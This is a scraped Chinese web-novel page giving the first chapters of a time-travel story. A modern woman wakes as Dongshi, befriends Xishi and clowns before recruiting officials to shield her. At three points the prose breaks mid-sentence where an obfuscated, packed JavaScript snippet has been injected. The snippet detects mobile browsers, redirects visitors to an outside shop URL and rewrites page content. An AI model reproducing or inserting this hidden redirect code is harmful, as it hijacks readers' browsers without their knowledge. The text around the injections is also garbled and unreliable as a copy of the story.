《穿成东施,在春秋和西施当闺蜜》 1. 我成了东施? 晨光熹微,透过简陋窗棂洒在脸上时,施晓青的第一个念头是—— 昨晚的空调是不是开太低了? 硬邦邦的木板床硌得她背疼,盖在身上的薄麻布粗糙得刮皮肤。 她迷迷糊糊睁开眼,映入眼帘的不是熟悉的天花板,而是低矮的茅草屋顶,粗粝的原木房梁上挂着几束不知名的干草。 “这是……” 她猛地坐起身,一阵眩晕袭来。 不是梦。 眼前的一切真实得有些可怕。 狭小的土坯房间,泥土地面被踩得光滑,墙角摆放着几只陶罐,墙上挂着一件样式古怪的粗麻衣裙。 空气里有潮湿的泥土味、草叶味,还有一种她从未闻过的、属于另一个时代的质朴气息。 她低头看自己的手,细瘦,肤色偏黄,指腹有薄茧,手腕上系着一条褪色的麻绳。 这不是她的手。 更不是她的身体。 门外传来窸窸窣窣的声音,一个中年妇女的声音响起:“阿青,醒了就快些起身,今日该去溪边浣纱了。早饭给你留在灶上,记得吃。” 阿青? 施晓青的大脑一片空白。 浣纱?这词儿怎么这么耳熟? 她几乎是凭着本能爬下床,走到屋内唯一的一面粗糙的铜镜前—— 如果那模糊一片、只能勉强照出个人形的金属片也能叫镜子的话。 镜中是一张陌生的脸。 十四五岁的年纪,眉眼清秀,皮肤不算白但干净,嘴唇薄而颜色浅。 算不上美貌惊人,但也绝不丑陋。放在现代,也就是个普普通通、扔人堆里不太显眼的中学生模样。 可这张脸的主人,在这个时代,在接下来的某个时刻,会做出一个让她“名垂千古”的举动,并因此被嘲笑了两千多年。 东施。 施晓青扶着土墙,指节发白。 她想起来…… 昨晚临睡前,她还在刷小绿江,看一篇关于穿越成历史边缘人物的吐槽帖,随口跟室友开玩笑说:“要是我穿成东施,第一件事就是先去跟西施做闺蜜,绝对不让她皱眉,从源头上杜绝效颦的可能性。” 然后……她就真的穿了? 还真的穿成了东施? 不,不对,现在应该叫她施晓青,门外那位妇人喊的“阿青”应该是她。 东施只是一个代号,一个寓言里为了衬托西施而存在的影子。真实的她,应该有名字,有家人,有再平凡不过的日常生活。 “阿青!听见没有?”门外的声音带上了催促。 “来了,阿母。”施晓青下意识应声,声音有些干涩。 她迅速换上墙上的那套衣裙,深褐色的上衣,浅褐色的下裳,腰间用麻绳系紧。衣料粗糙,但还算干净。 穿戴整齐后,她推开吱呀作响的木门。 门外是个小小的院落,土墙围着,角落堆着柴火,一只母鸡带着几只小鸡在啄食。 一个穿着类似粗麻衣的妇人正在石磨前推着什么,见她出来,抬头看了一眼:“醒了就快吃饭,今日的纱要早些浣完,听说官家的人这几日可能会来村里。” 官家?施晓青心头一跳。 她不动声色地走到灶台边,那里放着一个小陶碗,里面是稀薄的粥,旁边还有一小块看不出来源的咸菜。 她端起碗,小口小口地喝着,同时飞快地梳理着脑海中的信息。 春秋末期,吴越争霸时期。 越国苎萝村,西施和东施的故乡。 她是施晓青,东施的原型,一个普通的浣纱女。 “东施效颦”尚未发生。 西施应该还在这里,还是她的邻居,或者……朋友? “阿母,”她试探着开口,尽量让自己的语气听起来自然,“夷光她……今日也去浣纱吗?” 夷光,西施的本名。 妇人头也没抬:“自然要去的。她家比咱们家还多两匹纱要浣呢。怎么,你想等她一起?” “嗯。” 施晓青含糊应道,心跳却快了几分。 西施。 历史上那个传说中让鱼儿沉入水底的美人,吴越争霸中最著名的棋子,结局成谜的悲剧人物。现在,她还只是个需要每日浣纱的乡村少女。 而她,施晓青,一个意外闯入这个世界的穿越者,成了她故事里那个最著名的反面角色。 这……真是绝了。 快速吃完那碗没什么味道的粥,施晓青按照记忆,拿起角落里一个简陋的竹篮,里面放着几卷未处理的麻纱。 她跟着妇人,也就是她这具身体的母亲,走出了院门。 苎萝村的清晨比她想象中更宁静。 土路两旁是低矮的茅屋,偶尔能看到土坯房。 空气清新得不像话,带着溪水润泽的气息和草木的清香。远处是青翠的山峦,近处有炊烟袅袅升起。 几个村民扛着农具走过,穿着同样朴素的麻衣,看见她们,点头致意。 “施家娘子,阿青,去浣纱啊?” “是啊,李叔下田?” 很普通的寒暄,很普通的乡村清晨。 施晓青跟着母亲走到村边的一条溪流旁。 溪水清澈见底,潺潺流淌,两岸生长着茂密的芦苇和水草。 已经有几个女子蹲在溪边的石头上,身前放着木盆,手里揉搓着纱线。 母亲找了个位置坐下,开始干活。 施晓青学着她的样子,从篮子里拿出麻纱,浸入水中,然后在石头上轻轻揉搓。动作有些生疏,但这具身体的肌肉记忆很快接管了一切。 她的目光却不由自主地飘向溪流上游。 那里,一个穿着浅青色衣裙的少女,正独自蹲在一块大青石旁。 即使隔了一段距离,即使那少女低着头,侧影依然美得让人屏息。 乌黑的长发用一根简单的木簪绾起,露出修长白皙的脖颈。她的动作很轻,很慢,仿佛不是在劳作,而是在进行某种优雅的仪式。 阳光洒在她身上,像是给她整个人罩上了一层柔和的光晕。溪水在她手边流过,几条小鱼竟徘徊不去,久久不肯游走。 沉鱼之貌。 施晓青脑子里第一时间蹦出这个词。 她见过不少美人,现代社会的荧屏上、网络上、现实生活中,精致妆容、华服美饰、各种角度打光下的美丽数不胜数。 但眼前这个少女的美,是不一样的。 那是一种浑然天成、未经雕琢、与这山水草木融为一体的美。干净,澄澈,却又带着一种天然的、近乎脆弱的易碎感。 仿佛一阵稍大些的风,就能把她吹散。 那就是西施。 或者说,是还未成为“西施”的施夷光。 似乎是察觉到了她的视线,溪流上游的少女忽然抬起了头,朝她这边望了过来。 四目相对。 施晓青呼吸一滞。 那是一双怎样的眼睛? 清澈如溪水,却又深得像古井,里面盛着这个年纪不该有的、淡淡的愁绪。 她似乎认出了施晓青,微微怔了一下,随即,唇角轻轻弯起一个极浅的弧度。 她在对她笑。 那笑容很淡,却像投入平静湖面的一颗石子,在施晓青心里漾开了一圈涟漪。 就在这时,施夷光忽然眉头一蹙,下意识地抬手,轻轻按住了自己的心口。她的脸色似乎苍白了一瞬,那个极浅的笑容也消失了,取而代之的是一丝隐忍的痛苦。 捧心蹙眉。 施晓青脑子里警铃大作。 就是这个! 历史上“东施效颦”的原型事件!西施因为心疾发作,自然地流露出了痛苦蹙眉的神态,却被误读为一种独特的美态。而东施,看到了这个神态,盲目模仿,从而成了千古笑柄。 现在,这个关键场景,就在她眼前上演。 而她,施晓青,这个新鲜出炉的“东施”,正蹲在溪流下游,手里还拿着一团湿漉漉的麻纱。 历史的分岔路口,就在此刻。 拒绝模仿,做自己! 施晓青深吸一口气,在周围几个浣纱女也注意到西施的异样、开始窃窃私语之前,她猛地站了起来。 水花溅湿了她的裙角,她也顾不上。 她拎起自己的竹篮,快步朝上游那块大青石走去。 脚步有些急,但在触及施夷光略带惊讶和疑惑的目光时,她又强迫自己放缓了速度,脸上努力挤出一个自认为最自然、最无害的笑容。 “夷光,”她走到近前,蹲下身,让自己的视线与对方齐平,声音放得很轻,“你是不是不舒服?脸色不太好。” 施夷光按着心口的手微微一顿。 她看着施晓青,眼中掠过一丝困惑。她们虽然是同村,年龄相仿,但平日交往并不多。施晓青因为容貌不如她,性格似乎也有些沉闷孤僻,很少主动与人搭话,尤其是与她搭话。 “我……没事。” 施夷光的声音也很好听,清凌凌的,像溪水敲击石头,“老毛病了,一会儿就好。” “老毛病更要注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486876|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。” 施晓青语气诚恳,一边说,一边极其自然地从自己随身携带的一个小布包里掏出两片叶子,“这个,你含在嘴里,可能会舒服些。清凉的。” 那是早上出门时她顺手从家里灶台边拿的,里面装着一点干净的布和晒干的薄荷叶。 她能认出薄荷叶纯属运气。 这是她在现代缓解轻微恶心的土办法,不知道对古代的心胃不适有没有用,但至少无害,且能表达关心。 施夷光看着递到面前的薄荷叶,又看了看施晓青写满关切的、无比真诚的脸,眼中的困惑慢慢化开,变成一种更复杂的情绪。她犹豫了一下,伸手接过,轻轻放进嘴里。 清凉微辛的气息在口腔中弥漫开来,胸口的憋闷感似乎真的缓解了一点点。 “谢谢。”她低声道,这次的笑容真切了些,虽然眉头仍因不适而微蹙着。 “不客气。” 施晓青也笑了,心里暗暗松了口气。 第一步,成功! 没有模仿,没有出丑,只有正常的、邻里之间的关怀。 她顺势在施夷光旁边的石头上坐下,开始处理自己篮子里的麻纱,动作自然得仿佛她们经常这样并肩浣纱。 “今天的水真清。”她找了个安全的话题。 “嗯。”施夷光应了一声,也重新开始手里的活计,动作依然轻柔。 溪水潺潺,两个少女并肩而坐,各自忙碌。阳光透过树梢洒下斑驳的光影,落在她们身上、发间、指尖。 远处,施晓青的母亲和其他几个浣纱女远远看着这一幕,交换着诧异的目光。 阿青今天……怎么好像不太一样了? 居然主动去跟夷光说话,还离那么近?她不是一向最怕跟夷光比较的吗? 施晓青能感觉到那些目光,但她不在乎。她一边机械地揉搓着麻纱,一边用眼角余光悄悄观察着身边的少女。 近看,施夷光的美更具有冲击力。皮肤是细腻的瓷白,睫毛长而密,鼻梁挺秀,唇色是自然的嫣红。 但最美的还是那种气质,安静,柔婉,像一枝带着晨露的白荷。可她眉眼间那抹似有若无的轻愁,又像一层薄雾,笼罩着这绝世的美,让人心生怜惜。 施晓青想起历史上她的命运,被选中,被训练,被当作礼物献给敌国的君王,在深宫中周旋,最后在故国胜利时,生死不明。 一个工具。 一个美丽的、悲剧的工具。 而现在,这个“工具”就坐在她旁边,会因为心口不适而微微蹙眉,会因为她递上的两片薄荷叶而轻声道谢,会在阳光下微微眯起眼睛,侧脸美好得像一幅画。 “夷光,”施晓青忽然开口,声音很轻,被溪水声盖过一大半,只有她们两人能听见,“如果……我是说如果,以后有机会离开苎萝村,去很远的地方,过完全不一样的生活,你会害怕吗?” 施夷光揉搓纱线的动作停了下来。 她转过头,看着施晓青。溪水倒映在她清澈的瞳孔里,轻轻晃动。 良久,她低下头,继续浣纱,声音轻得像一声叹息: “怕。” 一个字,没有多余的解释。 但施晓青听懂了。 这个聪慧的少女,或许早已从村里近来隐隐的骚动、从大人们闪烁的言辞、从那些偶尔路过的陌生官差打扮的人眼中,窥见了一丝不祥的征兆。 属于她的、美丽的、也是残酷的命运阴影,已经悄然逼近。 而她,在害怕。 施晓青的心像是被什么攥了一下。 她看着少女低垂的、颤动的睫毛,看着水中她微微晃动的倒影,一个念头无比清晰地浮现出来—— 去他的“东施效颦”! 去他的历史剧本! 她现在不是寓言里的丑角东施,她是施晓青。 而身边这个美丽的、脆弱的、会害怕的少女,是施夷光,是活生生的人,是她的同乡,是刚刚接受了她一点点微不足道善意的人。 如果可以,她想试试看。 试试看,能不能在这沉重的历史车轮碾过之前,为这枝注定要被折下、插进华美却窒息花瓶里的白荷,找到另一条可能的生路。 哪怕只是一点点微光。 哪怕最终,什么也改变不了。 但她想试试。 溪水依旧潺潺流淌,带着未浣净的麻纱和少女们无声的心事,流向不可知的远方。 苎萝村的这个清晨,和以往无数个清晨似乎没什么不同。 但有些东西,已经不一样了。 2. 一缕月光 日子像溪水一般,不紧不慢地淌过。 施晓青渐渐适应了苎萝村的生活。 浣纱、采野菜、帮阿母料理简陋的家务,偶尔用她有限的知识辨认周遭植物,哪些能入口,哪些能入药。 薄荷叶成了她随身小布包里的常备品,不止给施夷光,也给其他偶尔头疼脑热的村人。 她与施夷光之间,建立起一种微妙的默契。 每日清晨,施晓青会在溪边固定的位置等待。 施夷光总会稍晚一些到,提着她的竹篮,步履轻盈得像林间小鹿。 两人不多话,只是并肩坐下,各自浣纱。阳光、溪水、麻纱摩擦的沙沙声,构成她们之间平静的日常。 施晓青时常能感觉到施夷光投来的目光,带着探究和一丝不易察觉的依赖。 这个寡言的少女似乎也在重新认识这个不一样的施晓青。 这日午后,纱浣得差不多了,其他村女陆续回家。溪边只剩下她们两人。 “阿青,”施夷光忽然开口,声音很轻,“你前几日给我的那种叶子……还有么?” 施晓青转头看她。施夷光的手又下意识地按在心口,眉头微蹙,但眼神里有种近乎执拗的坚持。 “有。” 施晓青从布包里拿出几片晒干的薄荷叶,又犹豫了一下,取出另一小包颜色更深些的干草叶,“这个是紫苏叶,我试着晒干的。若胸口闷得厉害,和薄荷一起用温水泡了喝,或许能顺气些。” 这是她根据浅薄的中药知识摸索的,剂量极轻,只求舒缓。 施夷光接过,指尖轻轻摩挲着干燥的叶片:“你懂这些?” “不算懂。” 施晓青实话实说,“以前……听一个路过的老人家提过几句,自己瞎琢磨的。” 在这个交通不便、信息闭塞的时代,游方之人往往带着神秘色彩,是个万能的借口。 施夷光没有追问,只是将叶片小心收进怀里,沉默了片刻。 “阿青,”她再次开口,这次声音更低,几乎被溪水声淹没,“你听说过……官家要在村里选人的事吗?” “听阿母提过一嘴,说官家的人这几日可能会来。”她尽量让语气显得平常,“选人做什么?服劳役?还是……” “不是劳役。” 施夷光打断她,抬起头,望向溪水对岸青翠的山峦。阳光在她脸上投下明暗交错的光影,那抹轻愁此刻浓得化不开。 “是选女子。要容貌好、身段佳、心思灵巧的……送去会稽城。” 会稽,越国都城。 施晓青攥紧了手里湿漉漉的麻纱。 她知道送去会稽城意味着什么——集中训练,然后作为政治礼物,送往吴国。历史上,西施和郑旦就是这样被选中的。 “你……” 施晓青的声音有些干涩,“听谁说的?” “我阿父前日去镇上换盐,听人议论的。”施夷光的睫毛垂下来,遮住了眼中的情绪,“说越王要为吴王遴选美人,以表忠心。各乡各里,都要荐上容貌最出色的女子。” 空气仿佛凝固了。 施晓青看着眼前这个即将被命运巨手攫取的少女,胸腔里涌起一股强烈的无力感。 她知道历史的大致走向,知道吴越争霸的结局,甚至知道西施在这盘棋局中扮演的关键角色。 可她不知道,在这段冰冷历史记载的背后,是一个活生生的少女在提前知晓命运时的恐惧与挣扎。 “夷光,”她深吸一口气,挪近了些,声音压得极低,“如果……如果被选中了,你会去吗?” 施夷光没有立刻回答。 她盯着溪水中自己微微晃动的倒影,良久,才极轻地吐出几个字:“由得我选么?” 轻飘飘的一句话,却像巨石砸在施晓青心上。 是啊,在这个时代,一个平民女子的命运,何时轮到她自己做主? 国家的意志,王权的需要,如同一张无形的大网,笼罩在每个人的头顶。 美,对于施夷光而言,从来不是恩赐,而是原罪。 “也许……” 施晓青舔了舔有些干裂的嘴唇,脑子飞快转动,“也许我们可以想办法,让你……不那么显眼?” 施夷光终于转过头看她,眼神里有一闪而过的光亮,随即又黯淡下去:“如何做?自毁容貌么?” 她摇摇头,笑容苦涩,“且不说能否下得去手,即便毁了,官家的人难道查不出来?到时连累父母宗亲,罪过更大。” 她看得通透。逃不掉,也躲不开。 施晓青沉默了。 她知道自己刚才的想法多么幼稚。 在绝对的力量面前,小聪明往往不堪一击。但她又不甘心。 穿越一场,难道就是为了眼睁睁看着历史重演,看着这个刚刚对她展露一丝信任的少女走向既定的悲剧? “夷光,”她忽然抓住施夷光微凉的手,目光坚定,“不管发生什么,你记住,在这苎萝村,至少有一个人,不觉得你只是该被送出去的美人。你是施夷光,是我的……朋友。” “朋友……” 施夷光喃喃重复着这个词,眼中水光氤氲。在这个阶层分明、女子大多依附父兄夫子的时代,“朋友”是个很奢侈的词,尤其是对她这样因容貌而格外孤立的人来说。 她反握住施晓青的手,力道很轻,却很紧。 “谢谢你,阿青。” 就在这时,一阵杂沓的脚步声和说话声从村口方向传来,打破了溪边的宁静。 两人同时抬头望去,只见几个穿着明显不同于村民、衣料稍显齐整的男子,在一个里正的陪同下,正朝溪边走来。 他们目光锐利,像挑选货物一般,扫视着沿途的房舍和零星的村民。 官家的人,来了。 施夷光的脸色瞬间变得苍白,手指无意识地收紧,指尖掐进施晓青的手背。 施晓青的心跳也漏了一拍。这么快? 她迅速环顾四周。溪边空旷,无处可藏。她们俩坐的位置虽然靠上游,不算最显眼,但也绝对能被一眼看到。 怎么办? 硬躲是不行了。 那几个官差模样的人已经注意到了溪边有人,目光正朝这边投来。为首的里正似乎低声对旁边的人说了句什么,手指了指她们的方向。 电光石火间,施晓青瞥见施夷光因紧张和不适而微微蹙起的眉头,苍白的脸色,按在心口的手……以及她自己手里,那团刚刚浣了一半、湿淋淋、皱巴巴的麻纱。 一个近乎荒谬、却又带着一线生机的念头,猛地蹿入她的脑海。 效颦。 如果“东施效颦”注定要发生,那么,就让它以另一种方式,在另一个时间点,为另一个目的而发生。 “夷光,”她急促地低声道,手上用力,将施夷光往旁边青石后的阴影里轻轻推了推,“躲进去一点,低头,别让他们看清你的脸。” 施夷光不明所以,但出于信任,还是顺从地往青石后挪了挪,垂下头,用侧影对着来人的方向。 施晓青则深吸一口气,在那些人走近到足以看清她表情的瞬间—— 她猛地抬起手,将那团湿麻纱用力按在了自己脸上,冰冷粗糙的触感让她打了个激灵。 同时,她学着记忆中戏曲里夸张的、矫揉造作的样子,极力瞪大眼睛,嘴角向两边咧开一个极其不自然的笑容,眉头却紧紧皱起,整个面部肌肉扭曲成一个古怪的、近乎滑稽的表情。 然后,她转过身,正对着走来的官差和里正,用自己所能发出的最尖细、最造作的声音,模仿着施夷光平日轻柔的语调喊道: “哎呀!这水好凉!夷光,你看我的纱,是不是洗得特别白呀?” 一边说,她一边用力揉搓着脸上的麻纱,水珠顺着她故意做作的笑脸往下淌,糊了一脸,配上那扭曲的表情,效果堪称惊悚。 走过来的几个人全都愣住了。 里正瞠目结舌。 几个官差打扮的男人脚步顿住,为首那个面相严肃的中年男子,眉头紧紧皱起,看向施晓青的眼神里充满了惊愕、嫌恶,以及一丝困惑。 他们显然没料到会看到这样一幕。一个村女,毫无美感地做着鬼脸,还用那种令人牙酸的声音说话。 施晓青心脏狂跳,但戏必须做足。 她维持着那个扭曲的表情,又转向青石后的施夷光,继续用夸张的语调说:“夷光,你怎么不说话?是不是也觉得我学你学得特别像?你昨日心口疼,皱眉的样子,就是这样,对不对?” 几个官差的目光,下意识地随着她的话语,瞟了一眼青石后那个低垂着头、看不清面容的少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486877|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女背影。又迅速转回到施晓青这张“惨不忍睹”的脸上。 对比,在这一刻鲜明到残忍。 一个是不忍卒睹的、笨拙可笑的模仿者。 一个是连侧影都透着清雅、却连面容都不愿示人的被模仿者。 那为首的中年官差,脸色沉了下来。 他此次奉命遴选美人,是要送往都城,经过严格训练后用以实施重大国策的。 所需女子,不仅要容貌出众,更需仪态端方,心思灵巧,能担大任。 眼前这个做鬼脸的村女,显然是个脑子不太灵光、举止粗鄙不堪的。 而她口中模仿的那个“夷光”……连面都不敢露,要么是羞怯过度上不得台面,要么就是容貌其实平平,被这蠢女一衬托才显得神秘。 “胡闹!”里正最先反应过来,脸上挂不住,呵斥道,“施家阿青!你在这里发什么疯?还不快见过诸位大人!” 施晓青仿佛这才“惊觉”有外人,猛地放下脸上的麻纱,露出湿漉漉、红通通的脸,做出惊慌失措的样子,笨拙地行礼:“大、大人……民女不知大人们到来,失、失礼了……” 表情怯懦,眼神躲闪,活脱脱一个没见识的愚笨村姑。 那中年官差嫌恶地挥了挥手,目光甚至不愿在施晓青身上多停留一秒。 他又瞥了一眼青石后始终未曾抬头的施夷光,最终,什么也没问,只对里正冷淡道:“苎萝村的女子,就是这般形貌品性?” 里正汗都下来了:“不不不,大人明鉴!这施晓青平日就有些……有些痴傻,不懂事!村里其他女子都是好的!尤其是那施……” “罢了。” 中年官差打断他,似乎已经对苎萝村失去了大部分兴趣,“看来此地水土,也养不出什么真正堪用的美人。再去下一处看看吧。” 说完,竟不再多言,带着随从转身便走,似乎多看这里一眼都嫌晦气。 里正急忙跟上,临走前狠狠瞪了施晓青一眼,眼神里满是恼怒和不解。 直到那群人的脚步声彻底远去,消失在村口,溪边重新恢复宁静,施晓青才猛地松懈下来,双腿一软,差点瘫坐在石头上。 后背已被冷汗浸湿,冰凉一片。 她成功了。 “阿青……” 细微的、带着颤抖的声音从青石后传来。 施夷光慢慢走出来,脸色依旧苍白,但眼中已蓄满了泪水。 她看着施晓青湿漉漉、狼狈不堪的脸,看着她因为紧张和用力表演而微微发抖的手。 “你……你何必……” 她哽咽着,说不下去。 施晓青扯出一个疲惫但真实的笑容,抬手抹了把脸上的水渍,混着可能存在的冷汗和一点点后怕的泪意。 “没事。”她哑着嗓子说,“你看,他们走了。至少今天,没事了。” 她不知道这临时起意的、粗糙的“表演”能争取到多少时间。 官家的人可能还会再来,可能从其他渠道听说西施的美名。历史的惯性巨大无比。 但至少在这一刻,在这个溪边的午后,她用一个“东施效颦”,为身边这个美丽的少女,挡下了一波直面的审视。 施夷光走上前,掏出一块干净的粗布帕子,轻轻擦拭施晓青脸上残留的水痕。 她的动作很轻,很温柔,眼泪却止不住地往下掉,滴在施晓青的手背上,滚烫。 “傻子……” 她低声骂道,声音里却是全然的震动与心疼。 施晓青握住她冰凉颤抖的手,看着远处官差消失的方向,眼神渐渐变得沉静而坚定。 第一次交锋,算是险险过关。 但风暴只是暂时绕开,并未远离。 但仅仅靠一时的小聪明和自污,是护不住想护的人的。 路还很长。 “夷光,”她轻声说,目光落在溪边丛生的野薄荷和紫苏上,“我们把这些能用的药草,多采一些回去吧。不只是为了你的心口疼……或许,还能帮到别的人。” 施夷光看着她,从她眼中看到了一种不同于以往的、沉稳的光芒。她用力点了点头。 “好。” 两个少女蹲下身,开始在溪边仔细寻觅、采摘。 阳光依旧温暖,溪水依旧潺潺,仿佛刚才那场惊心动魄的插曲从未发生。 3. 沉香 自那日官差离去后,苎萝村似乎又回到了往日的轨道。 日头升起落下,溪水潺潺东流,村妇们依旧在晨光里浣纱,谈论着家长里短。 只是,有些东西还是不一样了。 里正再路过施家那低矮的土墙时,脚步总是快了几分,眉头皱着,仿佛多看一眼都嫌晦气。村头榕树下闲话的风向,也不知何时转了。 “听说了吗?施家那个阿青,那天在官差大人面前,可是出了好大的丑!” “可不是!学人家夷光皱眉,学得怪模怪样,把大人们都给气走了。” “唉,本来咱们村说不定还能出个光耀门楣的,这下……” 风言风语像溪边的湿气,无孔不入,粘在人背上。 这日傍晚,施晓青刚把晒了一天的草药收进屋里,母亲便撩开草帘走了进来,手里端着稀薄的粥碗,脸上罩着一层愁云。 “阿青,”母亲把碗放在粗糙的木桌上,声音压得低低的,带着疲惫,“这两天,在外头……少说些话,多做事。” 施晓青接过粥碗,指尖触到母亲粗糙龟裂的手背:“阿母,我知道了。” 母亲看着她平静的脸,那双眼睛里没有了往日的闪躲和怯弱,却多了些她看不懂的、沉静的东西。 责备的话在嘴边转了几转,最终化成一声长长的叹息:“你呀……那天也太莽撞了。官差老爷是能得罪的么?里正如今见了咱家都没个好脸色。这往后……” “往后日子还长,阿母。” 施晓青抬起眼,声音不高,却有种让人安心的力量,“咱们凭双手吃饭,不偷不抢,不怕人说。” 母亲张了张嘴,终究没再说什么,只是又叹了口气,转身去忙活了。 施晓青小口喝着粥,心里却像明镜一样。 流言伤不了筋骨,但时间却一分一秒都耽误不起。 那日官差虽然走了,可谁也不知道他们会不会再来,或者,会不会有别的已经盯上了苎萝村,盯上了夷光。 她必须做点什么。 第二天清晨,浣纱归来后,她没有像往常一样直接回家,而是挎着篮子,绕到了村西头一处更僻静的溪湾。 这里水边生长着更茂盛的薄荷和紫苏,还有一些她近日根据模糊记忆辨认出的、可能有用处的植物。 她蹲下身,小心地用石片挖起一丛叶子呈齿状、带着特殊气味的嫩苗,连根带土,用大片的芋叶包好。 “这是……艾草?” 轻柔的声音从身后传来。 施晓青回头,见施夷光不知何时也来了,手里提着个小竹篮,里面装着几缕彩色的丝线和一个未完工的香囊。 “嗯,看样子是。”施晓青点点头,将艾草苗放进篮子里,“晒干了,夏天可以驱蚊,捣烂了或许也能止血。” 施夷光在她身边蹲下,看着篮子里分门别类用不同草叶捆好的植物:“你懂的真多。都是那位路过的老人家教的?” “有些是,有些是自己瞎琢磨,试试看。”施晓青含糊道,目光落在夷光略显苍白的脸上,“你今日感觉怎样?心口还闷吗?” “好些了。”夷光微微笑了笑,从怀里掏出一个小布包,打开,里面是两块掺了少许豆面的糙米饼,烙得金黄,散发着朴素的粮食香气,“给,我阿母新烙的,趁热吃。” 施晓青没客气,接过一块,触手还是温热的。 她也从自己篮子里拿出一个更小的干净布包,递过去:“喏,晒得最好的薄荷和紫苏,我特意挑出来的,味道冲些,但效果应该更好。还有这个——” 她又摸出两枚用叶子包好的、煮熟了的野鸟蛋,“早上在林子边捡的,煮熟了,你偷偷吃,补补气力。” 夷光看着手里的东西,特别是那两枚难得一见的鸟蛋,眼眶微微发热。 在这个食物匮乏的时代,这是极其珍贵的心意。她没说什么推辞的话,只是轻轻“嗯”了一声,将东西仔细收好。 两人沉默了一会儿,只有溪水流淌的声音。阳光穿过稀疏的树荫,在她们身上洒下晃动的光斑。 “阿青,”夷光忽然开口,手指无意识地摩挲着香囊上粗糙的绣纹,“那天……谢谢你。” 她的声音很轻,却带着沉重的分量。 “说这个干嘛。” 施晓青咬了一口糙米饼,咀嚼着粗糙但踏实的口感,“咱们是朋友。” 朋友。夷光在心里又默默念了一遍这个词,暖意混着酸楚,慢慢漾开。 “我阿父前日从镇上回来,说……” 夷光的声音更低了,几乎像耳语,“遴选的事,并没完。听说上头不太满意这次下面报上去的人,可能……还会来第二批人,查得更细。” 施晓青咀嚼的动作顿住了。果然,历史的车轮没那么容易转向。 “什么时候?”她问。 “不清楚,也许十天半个月,也许……更快。”夷光低下头,长长的睫毛在眼睑下投出一小片阴影,“里正这几日,往我家跑得勤了些,总是旁敲侧击地问我的生辰八字,平日喜好……我阿母愁得夜里都睡不好。” 空气仿佛凝滞了,连溪水声都显得格外清晰刺耳。 施晓青慢慢咽下嘴里的食物,将剩下的饼仔细包好放回篮子。 她看着溪水中两人微微晃动的倒影,一个念头愈发清晰—— “夷光,”她抬起头,眼神清亮,“从明天起,你若有空,悄悄来我家后头那小片荒地找我。我教你认这些草药,怎么处理,怎么用最简单的法子保存。” 夷光惊讶地抬起眼:“我?学这个?” “嗯。”施晓青点头,“不止是为你自己。多学一点东西,总没坏处。万一……我是说万一,将来用得上呢?哪怕只是帮隔壁头疼脑热的阿婆缓解一下,也是好的。” 她没说得太明白,但夷光听懂了。 这不仅仅是学一门技艺,更是在不确定的未来里,为自己多准备一种可能,哪怕这可能在庞大的命运面前显得如此微不足道。 同时,帮助他人,积累善缘,或许在某个意想不到的时刻,就能成为一点微弱的光亮。 “好。” 夷光几乎没有犹豫,立刻应了下来。那双总是盛着轻愁的美目里,第一次燃起了一点主动的、求知的火苗。 “还有,”施晓青继续道,声音压得更低,“村里谁家有病人,老人,或者日子特别难的,你留心些,悄悄告诉我。咱们力量小,帮不了大忙,但送一把晒干的薄荷,帮行动不便的阿婆提一桶水,陪孤寡的老人说说话……总是能的。” 夷光深深地看着她,仿佛第一次真正认识这个从小一起长大、却突然变得不一样的同伴。 她忽然觉得,阿青身上有一种奇特的力量,不是蛮力,不是美貌,而是一种沉静的、向下扎根、又向着四周蔓延生长的韧性。 “我明白了。”她郑重地点头。 接下来的日子,苎萝村的表面依旧平静,但在某些不为人知的角落,细微的变化正在发生。 施晓青家后院那方小小的药圃里,多了两个时常蹲在一起低声讨论的身影。 “这根要留长些,带点土,容易活。” “这片叶子背面有毛,搓碎了味道更冲,是不是效果更好?” “晾晒的时候,底下要垫芦苇,透气,不容易霉。” 偶尔,她们会挎着篮子,装着晒好的草药包或一点省下来的食物,出现在村中某户低矮的茅屋前。 村东头的孤寡陈阿婆,牙疼起来要命。施晓青送上捣碎的新鲜薄荷叶让她含着,夷光则手脚麻利地帮她将水缸挑满。 “哎哟,两个好闺女…这怎么使得……” 阿婆瘪着嘴,含糊不清地道谢,昏花的老眼里满是感激,硬要塞给她们一把自己晒的菜干。 村南的樵夫施大,前几日砍柴摔了腿,家里断了生计,媳妇整日抹泪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486878|202064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 施晓青和夷光送去了晒干的艾草和鱼腥草,还有一小包掺了豆面的饼子。 “这……这……”憨厚的汉子涨红了脸,不知说什么好。他媳妇擦着眼泪,不住地说:“谢谢,谢谢两位妹妹……” 这些举动很小,很散碎,就像溪流汇聚前微不足道的水滴。在宏大的历史叙事里,甚至不值一提。 